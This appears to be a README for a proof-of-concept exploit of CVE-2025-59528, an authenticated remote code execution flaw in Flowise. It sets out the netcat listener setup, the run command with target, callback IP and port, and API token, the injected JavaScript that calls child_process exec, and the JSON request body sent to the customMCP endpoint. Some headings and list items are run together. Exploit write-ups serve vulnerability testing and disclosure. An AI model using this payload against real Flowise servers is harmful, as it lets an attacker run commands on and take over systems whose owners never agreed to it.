
Proof-of-concept for CVE-2025-59528, demonstrating authenticated remote code execution in Flowise via mcpServerConfig injection, with reproducible steps for authorized testing.
Minimal PoC focused on technical validation of the vulnerability in an authorized environment.
nc -lvn 4444).Start the listener first:
nc -lvn 4444
python3 poc.py --domain example.com --host 10.10.10.1 --port 4444 --api YOUR_VALID_API_KEY
Replace the values with your authorized environment settings.
3.0.5Remote Code Execution (RCE)POST /api/v1/node-load-method/customMCP endpointThe issue comes from how inputs.mcpServerConfig is processed: this value is interpreted in a way that allows server-side JavaScript execution. In practice, an authenticated attacker can inject an expression that calls child_process and runs an OS command.
The exploitation flow is:
customMCP endpoint.mcpServerConfig.process.mainModule.require('child_process').exec/execSync).If accepted, the server executes the command in its system context.
poc.py)The script takes four arguments:
-d/--domain: target domain-lh/--host: callback IP-lp/--port: callback port-A/--api: Bearer API tokenThen it:
http://<domain>/api/v1/node-load-method/customMCPAuthorization: Bearer <token> header({
x: (function () {
const cp = process.mainModule.require("child_process");
cp.exec("<commande>");
return 1;
})(),
});
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "<injected JS expression>"
}
}
Compared to the EDB PoC (which performs email/password login, uses browser-like headers, and runs a free-form --cmd), this script is better for pure PoC validation:
mcpServerConfig injection and server-side execution.In short: the EDB script is a more generic offensive demo, while this PoC is more targeted for technical reproducibility.
https mode or certificate handling.--cmd).Test only on systems you own or where you have explicit authorization.